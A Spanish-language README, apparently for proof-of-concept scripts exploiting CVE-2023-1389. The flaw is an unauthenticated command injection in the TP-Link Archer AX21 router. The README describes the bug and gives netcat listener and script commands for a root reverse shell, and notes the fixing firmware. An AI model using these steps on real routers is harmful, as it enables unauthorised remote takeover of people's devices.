Pruebas de concepto para CVE-2023-1389, una inyección de comandos no autenticada en TP-Link Archer AX21, que proporciona capacidades de transferencia de archivos y shell inversa.
CVE-2023–1389 es una vulnerabilidad de inyección de comandos no autenticada en el router WiFi TP-Link Archer AX21. Una devolución de llamada en el parámetro country utiliza la función popen(), que se ejecuta como root, lo que permite al atacante inyectar valores arbitrarios a través de solicitudes GET o POST a la interfaz de administración, sin requerir autenticación. Se pueden encontrar más detalles sobre la vulnerabilidad aquí.
Estos son un par de Proof-of-Concepts que creé mientras exploraba la inyección de comandos. Archer-file-transfer.py fue la primera iteración y es bastante complicado en cómo logra la interacción. Archer-rev-shell.py te proporciona una sencilla reverse shell con netcat, y probablemente sea el que estás buscando. Si quieres aprender más sobre el desarrollo de estos scripts, puedes leer el artículo aquí.
En una ventana de terminal:
nc your_IP listener_port
En una segunda ventana de terminal:
python3 archer-rev-shell.py -r router_IP -a your_IP -p listner_port
TP-Link ha lanzado la versión de firmware 1.1.4 Build 20230219 que soluciona el problema eliminando la devolución de llamada vulnerable. Actualizar tu router al firmware más reciente debería proteger tu dispositivo.
Probablemente no mantendré estos PoCs. Ambos son bastante simples y deberían ser fáciles de modificar según sea necesario.